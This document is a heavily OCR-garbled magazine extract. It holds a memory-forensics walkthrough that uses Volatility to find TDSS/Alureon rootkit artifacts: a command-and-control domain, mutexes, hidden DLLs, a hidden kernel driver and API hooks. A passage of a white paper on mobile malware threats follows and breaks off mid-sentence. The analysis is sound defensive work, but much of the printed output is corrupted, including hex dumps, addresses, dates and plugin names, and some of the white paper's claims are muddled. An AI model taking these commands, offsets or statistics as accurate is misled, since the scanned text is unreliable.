Volatile Systems Volatility Framework 2.3 beta

Time created Time exited

wmiprvse.exe 0x0ecB80240 2012-08-15 17:08:33 UTC+0000
alg.exe BxBecB8B8180 20612-88-15 H 1 H uTc+aeea
winlogon.exe ! OxBec80666 2012-88-15 17:068:22 UTC+0060
VMwareTray.exe 60 Ox0ecBo260 2012-08-15 17:08:34 UTC+0000
VMwareUser.exe 5 BxPec8h286 2012-88-15 H:H uTCc+80808
wuauclt.exe Ox0ec802a0 2012-10-07 :46: UTC+0000
tdl3.exe BxBecB8B2ch 2012-10-87 146: uTc+eeee 2012-18-87 12:46:57 UTC+B008
VMUpgradeHelper OxBec80led 2012-88-15 17:08:33 UTC+0000
vmtoolsd.exe b Ox0ecBblcd 2012-08-15 17:08:30 UTC+0000
msiexec.exe Bxfec8b2e0 2012-10-087 H I H uUTC+0088
explorer.exe Ox0ecB80220 2012-08-15 17:08:33 UTC+0000
spoolsv.exe BxBec88lab 2012-88-15 H: I H uTc+eeee
services.exe Ox0ec80080 2012-88-15 17:08:22 UTC+0000
svchost.exe . Ox0ecBol6d 2012-08-15 17:08:22 UTC+0000
svchost.exe Bxfec8h126 2012-88-15 :08: uUTC+8688
svchost.exe 0x0ec80100 2012-08-15 17:08:22 UTC+0000
svchost.exe OxBec88148 2012-88-15 H: 1 H uTCc+aeee
vmacthlp.exe Ox0ec800cO 2012-08-15 :08:22 UTC+0000
svchost.exe Ox0ecbooed 2012-08-15 17:08:22 UTC+0000
CSrSS.exe . BxBec8bod4d 2012-08-15 H:1.H UTC+00808
SMSS . exe 0x0ec80020 2012-08-15 :08: UTC+0000

STEP 4: YARA SCAN

Running the YARA scan on the memory dump for the string “web3inst” confirms that this domain (we-
b3inst.com) is present in the address space of svchost.exe (pid 888). This confirms that svchost.exe was
making connections to the malicious domain “web3inst.com”

:~/volatility 2.3 beta# python vol.py -f infected.vmem yarascan -Y "web3inst"
Volatile Systems Volatility Framework 2.3_beta
Rule: rl
: Process svchost.exe Pid 888

7765 62 35 09 be /3 74 2e 63 6T 6d 2f 74 64 73  web3inst.com/tds
73 2f 63 72 63 6d 64 73 2T 6d 61 69 Ge 00 60 0O s/crcmds/main. . .
00 68 74 74 70 3a 2f 2f 77 65 62 34 69 6e 73 74 .http://webdinst
2e 63 6f 6d 2f 74 64 73 73 2f 63 72 63 6d 64 73 .com/tdss/crcmds
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STEP 5: SUSPICIOUS MUTEX IN SVCHOST.EXE

Now we know that svchost.exe process (pid 888) was making connections to the domain “web3inst.
com”, lets focus on this process. Checking for the mutex created by svchost.exe shows a suspicious mu-
tex “TdIStartMutex”

:—/volatility 2.3 beta# python vol.py -f infected.vmem handles -p 888 -t Mutant
Volatile Systems Veolatility Framework 2.3 _beta
Handle Access Type Details

ox1feeel Mutant SHIMLIB_LOG_MUTEX
0x1feeel Mutant {A3BD3259-3E4F-428a-84C8-FO463A9D3ERS}
@x1feeel Mutant
0x1f0001 Mutant
0x120001 Mutant ShimCacheMutex
8x1fe801 Mutant
ox1f0001 Mutantd

BxB921T788 @x1feeel Mutant

BxBafecrze 0x1feeel Mutant 746bbf3569adEncrypt

892 @x1fe001 Mutant

0x1fe0el Mutant
0x1fo001 Mutant TdlStartMutex
OXIZHEUL FMUTANT UBWINMITEX
Bx166668 Mutant !MSFTHISTORY ! _
0x1f0001 Mutant windows ! system32 | config!systemprofilellocal settings!temporary internet files!cd

0x1fe001 Mutant windows!system32!config!systemprofile!cookies!
6x1f8681 Mutant windows ! system32 | config!systemprofile!local settings!history!history.ie5!
Bx108008 Mutant WininetStartupMutex
@x1feeel Mutant
0x100000 Mutant wininetProxyRegistryMutex
0x1fe001 Mutant
Bx100666 Mutant RasPbFile
0x1f0801 Mutant ZonesCounterMutex
BB 8 @x1feeel Mutant ZonesLockedCacheCounterMutex

STEP 6: INFO ABOUT THE MUTEX
Google search shows that this suspicious mutex is associated with TDSS rootkit. This indicates that the
mutex “TdIStartMutex” is malicious.

Google  rastrmvutex [ ]

TROJ TDSS.FC - Produkte fiir den Mittelstand - Trend Micro ...
about-threats.trendmicro.com/archiveMalware.aspx?language=de... ~

Mar 13, 2009 - It creates the following mutex to ensure that only one instance of itself is
running In memery: TDIStartMutex. Analysis By: Jasper Manuel.

BackdoorW32/TDSS - F-Secure

www.f-secure.com » Threats » Virus and threats descriptions ~
\TdiStartMutex. Network Connections. Attempts to connect with HTTP to: hxxp//
findxproportal1.com/tass /... J/main; hxxp://stableclickz 1.com/dss2/[.../main ...

Encyclopedia entry: Trojan:Win32/Alureon.gen!S - Leamn more about ...
www.microsoft.com » Home » Learn more about malware ~

Mov 3, 2009 - When run, it creates a unique mutex named "TdiStartMutex™ to ensure
there IS only one INstance running at a tme. Once Installed, the registry ...

STEP 7: FILE HANDLES OF SVCHOST.EXE
Examining file handles in svchost.exe (pid 888) shows that is handles to two suspicious files (DLL and
driver file). As you can see in the below screenshot both of these files start with “TDSS”

:~/volatility 2.3 beta# python vol.py -f infected.vmem handles -p 888 -t File
Volatile Systems Volatility Framework 2.3 beta
Handle Access Type Details

ex12019f \Device\WMIDataDevice
0x12019F \Device\Termdd
0x12019F Device

8x12019F i

Bx12015F

0x12019f
0x12019f

X894962b0 0x12019F i
pxa9nfdils 0x180820 \Device\HarddiskVolumel\WINDOWS\WinSxS\x86_Microsoft.Windows. Common-Controls_6595b64.
Naccf1df 6. A 268 3 25dAcaB
0x348  0x120089 \Device\HarddiskVolumel\WINDOWS\system32\TDSSoigh.d1l
0x350  0x120089 \Device\HarddiskVolumel\WINDOWS\system32\drivers\TDSS:
ox354 GxisT
Bx35c Bx187
Ox187
0x187
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STEP 8: DETECTNG HIDDEN DLL

Volatility’s dlllist module couldn’t find the DLL starting with “TDSS” whereas |[drmodules plugin was able
to find it. This confirms that the DLL (TDSSoigh.dll) was hidden. Malware hides the DLL by unlinking from
the 3 PEB lists (operating sytem keeps track of the DLL’s in these lists).

:~/volatility 2.3 _beta# python vol.py -f infected.vmem dl1list -p 888 | grep -i tdss
Volatile Systems ‘.l’olat:.l:l.ty Framework 2.3 beta
:~/wolatility 2.3 beta# python vol.py -f infected.vmem ldrmodules -p 888 | grep -i tdss

Volatile Systems Volatility Framework 2.3_beta
888 svchost.exe 0x10000008 False False False \WINDOWS\system32\ oigh.dll
:~/volatility 2.3 beta# |]

STEP 9: DUMPING THE HIDDEN DLL
In the previous step hidden DLL was detected. This hidden DLL can be dumped from the memory to disk
using Volatility’s dlldump module as shown below:

:~/volatility 2.3 beta# python vol.py -f infected.vmem dlldump -p 888 -b 0x10000000 -D dump
olatile Systems Volatility Framework 2.3_beta
P Module Base Module Name Result

Bx892ea5d8 svchost.exe 0x010000000 UNKNOWN 0K: jjodule.B888.94eaS5d8.100600000.d11

r~fvolatility 2.3

a [ root

moc[:;!e. 888.
94ea5d8.10000000.
dil

STEP 10: VIRUSTOTAL SUBMISSION OF DUMPED DLL
Submitting the dumped dll to VirusTotal confirms that it is malicious.

S —— R

GData Gen:Trojan.Heur.GM.0000610110 20130709
Ikarus Packed.Win32.Krap 20130709
Jiangmin ] 20130709
K7AntiVirus Riskware 20130709
K7GW Riskware 20130709
Kaspersky -] 20130709
Kingsoft Win32.Troj.Undef. (kcloud) 20130708
Malwarebytes -] 20130709
McAfee Artemis|3CCE3463DB2E 20130709
McAlee-GW-Edilion Arlemis|3CCE3463DB2E 20130709
Microsoft VirTool:Win32/Obfuscator.DQ 20130709
MicruWorld-eScan -] 20130709
MANO-Antivins Trojan \.‘\.fiﬂﬁf‘ afplb 20130709
Norman ] 20130706
nProtect ] 20130709
Fanda Generic Worm 20130709
PCTools Trojan.Gen 20130709
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STEP 11: LOOKING FOR OTHER MALICIOUS DLL'S
Looking for the modules in all the processes that start with “TDSS” shows that msiexec.exe process (pid
1236) has reference to a temp file (which is starting with TDSS), which is suspicous.

i~/volatility 2.3 beta# python vol.py -f infected.vmem ldrmodules | grep -i tdss
Volatile Systems Volatility Framework 2.3_beta
888 swchost.exe 0x10000000 False False False \WINDOWS\system32\ oigh.dll
1236 msiexec.exe 0x10000000 True True True \DOCUME-1\ADMINI-1\LOCALS~1\Temp' f184.tmp
1236 msiexec.exe 0x77ddoeee True True True \DOCUME-1\ADMINI~1\LOCALS~1\Temp\ f193. tmp
t~/volatility 2.3 beta#

STEP 12: SUSPICIOUS DLL LOADED BY MSIEXEC
Examining the DLL’s loaded by the process msiexec (pid 1236) using dlllist module, shows a suspicious
dll (dll.dll) loaded by msiexec process.

:~/volatility_2.3_beta# python \rﬁl.py -f infected.vmem dlllist -p 1236
Volatile Systems Volatility Framework 2-3_beta

e ke o sk e o ok ok o sk ok ke ok ok ok sk o o ok ok ok o sk o ke ok ok ok sk ek ok ok ok e kol ok ok ke ok ok ke ok sk ol ol e ke ok ok ok o ok ok ok ok ke ok ke ok ok ol ok ok ok ok ok

msiexec.exe pid: 1236
Command line : C:\WINDOWS\system32\msiexec.exe /V
Service Pack 3

Base Size LoadCount Path

Bx010600060 Bx16600 Bxffff C:\WINDOWS\system32\msiexec.exe

0x7c900000 oxafooe Oxffff C:\WINDOWS\system32\ntdll.dll

Bx7c800000 Bxfeeee axffff C:\WINDOWS\system32\kernel3z.dll
0x58000 Oxffff C:\WINDOWS\system32\msvcrt.dll
Bxsboee Oxffff C:\WINDOWS\system32\ADVAPI32.dll
8x92080 exffff C:\WINDOWS)system32\RPCRT4.dll
0x11000 oxffff C:\WINDOWS\system32\Secur3z.dll
Bx916880 Bxffff C:\WINDOWS\system32\USER32.d1ll
0x49000 oxffff C:\WINDOWS\system32\GDI32.dll
Bx13deae exffff C:\WINDOWS\system32\ole3Z.dll
0x2bcooo oxffff C:\WINDOWS\system32\msi.dll
0x26000 0x1 C:\WINDOWS\system32\ShimEng.dll
Bx1cabfd Bx1 C:\WINDOWS\AppPatch\AcGenral.DLL
ox2deee 8x2 C:\WINDOWS\system32\WINMM.d11l
Bx8beoe Bx3 C:\WINDOWS\system32\0OLEAUT3Z.d1l
0x15000 0x1 C:\WINDOWS\system32\MSACM32.dl1l

6x8088 Bx3 C:\WINDOWS\system32\VERSION.d11l

6x817000 0x1 C:\WINDOWS\system32\SHELL32.d1l1l
0x76000 x5 C:\WINDOWS\system32\SHLWAPI.dl1l
Bxb40888 Bx1 C:\WINDOWS\system32\USERENV.d11
Ax3IAAAA Ax1 r-\W1Nnnu<\:y:?ﬂm??\“vTheme_dLl
Bx2beee Bx1 C:\WINDOWS\system32\dll.dll
ox1deee 0x1 C:\WINDOWS\system32\IMM32.DLL
Bx183000 8x3 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccfldf 6.8.266
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STEP 13: DUMPING DLL AND VT SUBMISSION
Dumping the suspicious DLL (dll.dll) and submitting to VirusTotal confirms that this is associated with
TDSS (Alueron) rootkit.

I bt:~/volatility 2.3 beta# python vol.py -f infected.vmem dlldump -p 1236 -b ©x10000000 -D dump
olatile Systems Volatility Framework 2.3_beta

Module Base Module Name Result
0x8923c778 msiexec.exe B6x010000000 dll.dll OK: mogule.1236.943¢778.10000000.d1l1
i~/volatility 2.3 beta#

ClamAV ] 20130709
Commtouch < 20130/09
Comaodo L 20130709
Drweb BackDoor.Tdss. 30 20130709
Emsisoft Trojan.Dropper.STN (B 20130709
eSafe 1] 20130709
ESET-NOD32 L] 20130709
F-Prot L] 20130709
F-Secure Trojan. Dro?)per. STN 20130709
Fortinet 1] 20130709
GData Trojan. Dropper.STN 20130709
Ikarus Trojan.Win32.Alurcon 20130709
Jiangmin (] 20130709
K7AntiVirus ] 20130709

TGW S 20130709
Kaspersky 1] 20130709
Kingsoft Win32.Troj. TDSS.de. 102400 20130708

STEP 14: HIDDEN KERNEL DRIVER

In step 7 we also saw reference to a driver file (starting with “TDSS”). Searching for the driver file using
Volatility’s modules, plugin couldn’t find the driver that starts with “TDSS” whereas Volatility’s driverscan
plugin was able to find it. This confirms that the kernel driver (TDSSserv.sys) was hidden. The below
screenshot also shows that the base address of the driver is “0xb838b000” and the size is “0x11000”

:~/volatility 2.3 beta# python vol.py -f infected.vmem modules | grep -i tdss
'.rolat:.le Systems Vo :Ll:l.ty Framework 2.3_beta
~/volatility_2.3_beta# python vol.py -f infected.vmem driverscan | grep -1 tdss

Uolati‘.e Systems Volatility Framework 2.3_beta
Bx089732138 2 0 8xb838baee 8x11600 Serv.sys \Driver\ Serv.sys
:~/volatility 2.3 betat |]

STEP 15: KERNEL CALLBACKS
Examining the callbacks shows the callback (at address starting with 0xb38) set by an unknown driver.

: python vol.py -f infected.vmem callbacks
'-.folatlle Systems ".-'olat111ty Framework 2.3_beta

Callback Module Details




IoRegisterShutdownNotification 0xba53fc6a VIDEOPRT.SYS \Driver\mnmdd
IoRegisterShutdownNotification oxba53fc6a VIDEOPRT.SYS \Driver\RDPCDD
IoRegisterShutdownNotification oxba53fc6a VIDEOPRT.SYS \Driver\VgaSave
IoRegisterShutdownNotification 0xba53fc6a VIDEOPRT.SYS \Driver\vmx_svga
TIoRegisterShutdownNotification 0xbadb65be Fs_Rec.SYS \FileSystem\Fs_Rec
IoRegisterShutdownNotification 6xbadb65be Fs_Rec.SYS \FileSystem\Fs_Rec
IoRegisterShutdownNotification BxbaBb873a MountMgr.sys \Driver\MountMgr
IoRegisterShutdownNotification 6xba74azbe ftdisk.sys \Driver\Ftdisk
IoRegisterShutdownNotification ©xba5e78f1 Mup.sys \FileSystem\Mup
IoRegisterShutdownNotification 0x805cdef4 ntoskrnl.exe \FileSystem\RAW
IoRegisterShutdownNotification 0x805f5d66 ntoskrnl.exe \Driver\WMIxWDM
GenericKernelCallback 0xb838e168 UNKNOWN -
GenericKernelCallback 0xb838d8e9 UNKNOWN -
GenericKernelCallback oxbadfeafe CaptureRe...itor.sys -
GenericKernelCallback oxbadfa7b4 CapturePr...itor.sys -
KeRegisterBugCheckReasonCallback 0xbad74ab8 mssmbios.sys SMBiosDa
KeRegisterBugCheckReasonCallback 0xbad74a70 mssmbios.sys SMBiosRe
KeRegisterBugCheckReasonCallback Oxbad74a28 mssmbios.sys SMBiosDa
KeRegisterBugCheckReasonCallback Oxba51clbe USBPORT.SYS USBPORT
KeRegisterBugCheckReasonCallback Bxba51clle USBPORT.SYS USBPORT
KeReaisterBuaCheckReasonCallback 0xba533522 VIDEOPRT.SYS Videoprt
PsSetLoadImageNotifyRoutine 0xb838e108 UNKNOWN
PsSetCreateProcessNotifyRoutine @xbadfa7b4 CapturePr...itor.sys
PsSetCreateProcessNotifyRoutine 0xb838d8e9 UNKNOWN
CmRegisterCallback Oxbadfeafe CaptureRe...itor.sys

:~/volatility 2.3 bete

STEP 16: EXAMINING THE UNKNOWN KERNEL DRIVER
Below screenshot shows that this unknown driver falls under the address range of TDSSserv.sys.
This confirms that unknown driver is “TDSSserv.sys”.

/wolatility 2 ta# python vol.py -f infected.vmem driverscan | grep -i 0xbs38
Volatile Systnms UolatJ11rv Framework 2.3 beta
Bx09732f38 z ] booo 0x11000 TDS5Sserv.sys \Driver\TDSSserv.sys
:~/volatility 2.3 _beta#

STEP 17: KERNEL AND HOOKS
Malware hooks the Kernel APl and the hook address falls under the address range of TDSSserv.sys
(as shown in the below screenshots).

a## python vol.py -f infected.vmem apihooks -P -Q
Uolatlle Systems Vo at111ty Framework 2. 3_beta

s e e ke o o o e e ke e o o s ok ke e o 2 o o ke S o ok o e e e ke o o e e ke e o o o ok e e o o ok ok ke ke ok ok e e e ke e o e ke ok e e e e ook ek ok

ook mode: Kernelmode

ook type: Inline/Trampoline

ictim modula: ntockrnl _axa (AxRAAd7AAA . AxRARcF5RA)
unction: ntoskrnl.exe!IofCompleteRequest at 0x804eelb0
ook address: 0xb838d6bb

ooking module: <unknown>

pisassembly(0):

px804eelbd ff2504c254860 JMP DWORD [©x8054c204]
px804eelb6 cc ~INT

px804eelb7 cc % INT

px804eelb8 cc INT

px804eelb9 cc INT

hx804eelba cc INT

px804eelbb cc INT

bx804eelbc 8bff MOV EDI, EDI
px804eelbe 55 PUSH EBP

bx804eelbf 8bec MOV EBP, ESP
Ix804eelcl 56 PUSH ESI

px804eelc2 f1514774d80 CALL DWORD [0x804d7714]
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hBBB 0x11000 TDSSserv.sys \Driver\TDSSserv.sys

STEP 18: DUMPING THE KERNEL DRIVER
Dumping the kernel driver and submitting it to VirusTotal confirms that it is TDSS (Alureon) rootkit.

:~/volatility 2.3 beta# python vol.py -f infected.vmem moddump -b 0xb838b888 -D dump
Volatile Systems Volatility Framework 2.3_beta
Module Base Module Name

OK: driver.b838b800.sys

:- - 2.3 beta#

m u UTNTT IP
F-Prot W32 Trojans. WL 20130709
F-Secure Gen:Rootkit. Heur.dus@diuk Qjgi 20130709
Forlinel W32 TDSS.BIlr 20130709
GData Gen:Rootkit. Heur. duBEnaIuK gl 20130709
lkarus Trojan. win32. [T 20130709
Jiangmin ] 20130709
KTANMIVInSs Trojan 20130709
K7GW L 20130709
Kaspersky UDS:DangerousObject. Multi.Generic 20120703
Kingsoft WIn32 Troj Generc a (keloud 20130708
Malwarebytes L 20130709
McAfee genericlbg.beg 20130709
MeAlee-GW-Edilion genericlbg.boeg 20130709
Microsoft Trojan:WinMT/Alureon. 20130709
MicroWorld eScan L] 20130709
MNANC-Antivirus Trojan. Wind2.ZPACK.zkens 20120709
Norman TDSSSen.AM 20130708
CONCLUSION

Memory forensics is a powerful investigation technique and with a tool like Volatility it is possible to find
advanced malware and its forensic artifacts from the memory which helps in incident response, malware
analysis and reverse engineering. As you saw, starting with little information we were able to detect the
advanced malware and its components.
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CHALLENGES OF
MOBILE MALWARE
FORENSICS EVOLUTION

by David Clarke CITP FBCS C|CISO

Mobile Malware is evolving fast. The development of Mobile
Malware is growing at an unprecedented rate, so the mitigation
and counter measures needed to understand the landscape and
provide the appropriate solutions must develop as rapidly.

Mobile devices are part of our everyday lives, so much so that they
have become part of our identity, especially for payments. The
forensic solutions now need to appreciate psychology, human
nature and social media as they too become part of the attack
vectors used. The following is an outline of the challenges we are
now faced with, and which have emerged in just a few months.

What you will learn:

* Why mobile Malware Forensics is
evolving fast.

* What the effect is of rapid growth
of Mobile Malware on all of us.

* How Mobile Malware forensics
need to understand the modeling
human behavior.

What you should know:

« High level understanding of Smart-
phone operating systems.

« The influence of Social media.

* Malware could be in your pocket.

cell phone; it is so much more. It performs so many functions that we can-

not afford to do without it, and it holds so much of our confidential data
that we cannot afford to have our data compromised. The mobile hackers of
the modern world are no longer the lone cybercriminals of legend; they have
evolved into knowledgeable business professionals, dedicated to seriously
criminal operations.

I n today’s world, the mobile has become a vital possession. It is not just a

In this White Paper, | am going to discuss the latest types of Malware threats
that have begun to emerge in the Smartphone industry.

MOBILE MALWARE

Malware is software which, when employed, adversely affects an electronic
device. A Mobile Malware is a program code which has been created to dis-
able, remotely control and steal information from mobile devices, such as cell
phones and wireless devices like PDA (Personal Digital Assistants). At their
most fundamental, Mobile Malware operates in the same way as PC Malware,
but target mobile devices rather than static ones, such as desktop computers.
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Mobile Malware is increasing at an alarmingly rapid
rate in both their technological and structural aspects.
During 2013 mobile cyber-attacks far outstripped the
attacks on static or desktop computers. Smartphones 1"!,._
and mobile devices are now being used for the same ;
purpose as computers, and as such, like computers,
they are vulnerable to viruses, Trojans and other Mal- ” I |
ware threats. As a large percentage of the world’s TR I
population use Smartphones, hackers now have :I ‘” l “
more potential targets than ever, and they are intent Y. ) b
on compromising our sensitive information. !

POTENTIAL THREATS FROM MOBILE
MALWARE

The first threat on a mobile device was registered in
2004. By 2010, the threat factor had increased by
250%, and the first bank phishing attack was regis-
tered from the official app market. According to re-
searchers, these attacks will only become more so-
phisticated, as 2011 proved with botnets detected in
mobile phones. The Malware threat to mobile phones
is the fastest growing trend of the modern age, and
attacks have roughly doubled in the last year.

www.digitalarena.co

Mobile phones have become our indispensable companions. If a mobile device is compromised, then
one or more of the following can happen:

Banking credentials stolen.

Phone data deleted by remote operation.

Text messages or calls sent to premium numbers.

Phone ‘bricked’ so that it no longer works, and therefore needs replacing.

Botnet owners turn a phone into one of their bots and then use it for launching remote digital at-
tacks, such as Denial of Service and others.

+ Private information compromised. Attacker can intercept messages and ‘sniff’ on phone calls.

STATISTICS REGARDING MOBILE MALWARE

According to security magazines, the Mobile Malware threat families have shown an increase of 26% in
the third quarter of 2013, with to date, more than 300 families of mobile threats discovered. As of Janu-
ary 2014, a total of 143,211 instances of modified malicious programs have been detected which are tar-
geting and actively affecting mobile devices. The threat of phishing for bank credentials through mobile
devices was raised by a factor of 19.7% last year. Cybercriminals use installation packages to distribute
Malware and last year, almost 4,000,000 installation packages of this kind were used by attackers. About
10,000,000 unique, infected installation packages were detected in the year 2012-2013 alone. The in-
stallation packages differ only in terms of their application, interface etc. which is malicious, but still in-
stalls the same kind of programs but with mildly differing functionalities.

Out of all the currently available operating systems, Android rules supreme, and has therefore become
a prime target, with 98% of cyber-attacks launched in 2013 affecting Android devices. Most Mobile Mal-
ware has been designed to rob users of their money, such as those that contain SMS-Trojans, which
spread through simple text messaging and are capable of stealing confidential user data. Along with Tro-
jans, there are a plethora of other attack methods, with backdoors, worms and rootkits also being found
on mobile devices. Fortunately, anti-virus software caught many such infections and prevented thou-
sands of banking Trojans from stealing customer data.

THE TYPES OF MALWARE THREATS TO MOBILE DEVICES

PHISHING

Phishing is the creating of fraudulent copies of true and legitimate websites in order to lure a user into
entering personal information into web forms. This information is then intercepted by malicious attackers
to steal money from the user.

www.eForensicsMag.com @ @
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SPYWARE
This kind of Malware runs silently in the background, and by various means, such as the interception of
text messages, collects user data and sends it on to third parties.

MOBILE THREATS" BY PLATFORM,
HISTORICAL VERSUS 2013

2000 - 2013

2013 only

Symbian

605,
32%

J2ME
20
2%

Figure 1. Overview of Mobile exploits by platform 2000-2013. Source: F-Secure Report http://thenextweb.com/
google/2014/03/04/f-secure-android-accounted-97-mobile-malware-2013-0-1-google-play/#!zpY 1k

APP STORE THREATS
Fake copies of legitimate applications are created by hackers, who infect the app with a Malware code,
distributing it to users mostly via third party app stores.

ACQUIRING ACCESS
Some Malware will exploit architectural vulnerabilities in a mobile device to gain complete control over it.

WORM
A worm is a program code designed to replicate itself in such a way that it exhausts a device’s memory.

TROJAN HORSES
These are software which seem to be legitimate, but compromise the integrity of a device.

MITM

This threat mostly works in unsecured wireless channels which are monitored by hackers to obtain any
information that is transmitted through that channel. Accessing public Wi-Fi in any hotspot can make a
mobile device vulnerable to Wi-Fi snooping attacks.
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DIRECT ATTACKS
Most Malware can enter directly into a device through files and downloads. SMS can contain Trojans
which act as agents of theft, while Bluetooth can damage the integrity of a device and spread Malware.

MALVERTISING

3 hitp:/Mfreeappsettings.com/battery02. php

Battery Saver

Irovappe. com

. €) Game Request

% Lookout

Figure 2. How Malvertising works

Created by combining two words, “Malware” and “Advertising”, Malvertising is a modern technique of
Malware distribution, which is used by hackers to spread their viruses. In essence, Malvertising exploits
legitimate online advertising. With this illegitimate virus, codes etc. are obfuscated with valid and genu-
ine advertisements displayed on webpages. Online advertisements serve as excellent candidates for
spreading Malware, as a great deal of effort has been put into making them as attractive as possible to
encourage a user to click on them.

All kinds of websites, especially celebrated and reputable sites, make extensive use of advertis-
ing content in order to make money online. Therefore, Malvertising provides malicious attackers with
excellent opportunities for injecting their Malware into advertisements, and thereby push their attack
onto web users.

Although the implementation of advance Firewalls and shield controls can block some of these mali-
cious adverts, the Malware danger still persists.

www.eForensicsMag.com @ @
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Mobile Malvertising is a new attack method which does not even need to compromise an entire web-
site. It is much harder to combat because it can work inside a system unnoticed and navigate its way
around a webpage. Infections spread via Malvertising move silently through webpages to a user’s sys-
tem. The most worrying aspect of this type of infection is that it does not need to exploit any vulnerability
in a website, obviating the need to compromise the server on which a website is hosted, nor does it need
to perform any kind of attack. It is capable of exposing millions of web users to Malware, regardless of
how many precautions they take or how cautious they are.

These attacks have a wide reach and are affecting billions of users through advertisement network
channels. It is estimated that more than 10 billion advertisement impressions were infected by Malware
in the last year. With such a high level of infections, Malvertising is an attack vector which does not seem
likely to disappear any time soon.

MALVERTISING IN MOBILE DEVICES

Malvertising is playing a significant role in allowing hackers to compromise the data in mobile devices.
Malvertising on Smartphones has become the largest hacking threat, replacing its closest rival, por-
nography. According to a report on mobile security published by Blue Coat Security Labs, Malvertising
threats increased threefold in 2013, and this trend is continuing in 2014. On average, Malvertising directs
users to Mobile Malware through a web advertisement once in every five times it is clicked. Last year,
pornography was held as the leading threat vector amongst all possible threat possibilities, but this has
been downgraded to the third most threatening.

Without proper installation and configuration of security mechanisms, users are far more vulnerable to
Malvertising infection. Of all the requested content, 12% of web adverts carry as much as 20% infected
file content. The rapid increase in traffic and content on mobile devices is matched only by the infections
they can carry. Ad servers have a network of mostly unregulated systems which can be easily manipu-
lated to distribute Malware to the masses.

THE THREATS FROM WEB APPS

In security reports Malvertising tops the list, but other threats, like web applications, cannot yet be dis-
missed. Pornography is still the most dangerous content category for mobile users. Although pornog-
raphy only ranks at 1% of all requested content, it still accounts for more than 16% of all cyber-attacks.
The breach in web applications also poses a potential threat for mobile users. Humans are the weak-
est link, and one which causes the most security breaches, performed through social engineering.

This tricks mobile users into unwittingly entering their confidential data into fake web pages. Most of
the backdoors, Trojans etc. are installed in user’s systems because they are unaware of the content
they are browsing or clicking. They are easily lured by elaborate advertisements or attractive graphics.
There are many webpages and advertisements claiming free benefits to users, and clicking on these
pages allows a user to be hacked.

THREAT FROM MOBILE GAMES

Many security reports claim that the huge success of mobile games makes them a prime target for the
distribution of Malware. Most mobile consumers are blissfully unaware of exactly what they are allow-
ing into their devices when they click on the name of a game. Mobile entertainment packages such as
games, recreational categories etc. account for around 12% of all the requested content.

BANKING TROJAN THREAT

According to the latest mobile threat landscape report by Kaspersky Lab, the number of attempts to steal
mobile users banking data through phishing, Trojan and similar methods has increased by a factor of 20
last year. In 2013, the number of malicious programs designed for targeting Smartphones and tablets
doubled to nearly one tenth of a million. More than 25% of infections were blocked by security software
in the last year alone. This wide variety of Mobile Malware modifications targets the carding information
of user. Amongst the countries in which these attacks were performed, Russia tops the list followed by In-
dia, Vietnam, Ukraine and the United Kingdom. Svpeng, Perkele and Wroba are some notable examples
of banking Trojans which have significantly affected mobile banking. We should not underestimate the
capability of hackers, because it is just a matter of time until they discover other, more powerful attack
vectors, providing more lucrative methods for compromising mobile information and security.
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Android, as the most popular platform for mobile devices, has undoubtedly suffered the most from Mal-
ware, whilst Blackberry is mostly vulnerable to spyware applications. Windows and Symbian are the
oldest operating systems for mobile phones and have been widely researched. Using loose password
schemes has been the chief culprit in compromising data on iPhones. Jail-breaking iPhones or iPads
leaves the device with a standard root password which can allow attackers easy admin access, making
them susceptible to other Malware attacks. Vulnerabilities in Android warrants a separate section.

VULNERABILITIES IN ANDROID

Android is the most used operating system in Smartphones and tablets, claiming a lion’s share of the
Smart device industry. Due to its popularity and the flaws in its architecture, it has been the target of 98%
of all the cyber-attacks in the last year. An interesting fact to note is that out of all those infections, only
0.1% can be found on Google Play applications, which proves that installing applications from unknown
sources does indeed leverage a system against the surge of attacks. This implies that third party stores
are loaded with Malware-ridden content which could seriously compromise mobile devices.

Android markets, like Android159, are the carrier of the highest percentage of mobile Malware at 33.3%.
Fake versions of original applications are created by Malware writers and fused with Malware to affect
mobile devices. Spoofed applications are increasing, carrying botnet-enabled devices which give remote
access to attackers. Google Play Store has the least number of infected applications because Google
itself eradicates suspicious and nefarious applications from its database. For this reason, Malware ap-
plications tend to have shorter shelf life at the official Google store and are easily removed.

According to F Secure, roughly 804 new families and modified versions of Android Malware was de-
tected last year. No new Malware dysfunctions or vulnerabilities were found in any other Smartphone
platform other than Symbian. Most Android attacks originate from India and Saudi Arabia, accounting for
about 75% of all cyber-attacks, whilst European countries only account for 15%. This could be consid-
ered a security breach on the part of Google, for not paying as much attention towards securing Android
as it should. To remedy this, Google could, for example, bring their Play Store to more websites, so that
Malware writers would find it harder to infect mobile devices.

Having a non-Android device however, does not keep a user safe from Mobile Malware. Non-Android
devices are still the target of many other security threats.

PSYCHOLOGICAL MALWARE

| have been talking about the kind of Malware threats that steal information and compromise devices,
but now | am going to throw light on another aspect of Mobile Malware. This category has no generic
classification, but | will refer to it as “psychological Malware”. Talking Angela is a prime candidate for this
category and a good example to cite.

TALKING ANGELA
At first glance, Talking Angela is just like any other virtual chat bot program, this one taking the form of a
cat, but dig deeper, and you will find an entirely different aspect to this application.

Talking Angela is an addition to Outfit7’s wildly popular Talking Tom series, which appeals to kids, teen-
agers and adults alike. Since its launch in December 2012 for iPhones and January 2013 for Android,
and thanks to the popularity of its predecessor, Talking Tom, Talking Angela has been downloaded more
than 1.5 billion times, with currently more than 230 million people using it or a similar app.

Talking Angela has a child mode which can be turned on or off very easily. The problem with this app
is that many people claim that it is operated by a paedophile who interacts with children and asks them
questions; for example, there is a report that a 7 year old boy went missing after installing this app. But
not one security firm confirms this to be true and no security researcher has yet found anything which
can be classified as truly malicious. Talking Angela is classified as psychological Malware because, ir-
respective of its being a threat or not, and due to the spreading of hoax messages through social media
channels, many parents have uninstalled this app.
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SPREADING OF THE MEME

The sole reason for the creation of this hoax and the fear it generated was that this application text
chats on its own, but this can be controlled by keeping the child mode on. Messages posted on so-
cial websites like Facebook caused this hoax to become instantly popular, the idea spreading rapidly
because people were forwarding the hoax messages without even testing the application. An online
advertising campaign which goes viral acts in a similar way. As soon as people start receiving news,
they begin posting the same kind of content to create a chain reaction. It can be said that psychological
Malware might not truly exist, but the fact is belief made them real. This causes applications to have
an adverse effect on people which is far from the intentions of the app developers. Therefore, social
media can provide a suitable platform for people to spread their views about any application without
proper behavioural analysis of the app.

These kinds of hoaxes are fabricated or used by cybercriminals to lure their victims to a webpage.
The messages posted on Facebook seems to indicate that a human took control of the application in the
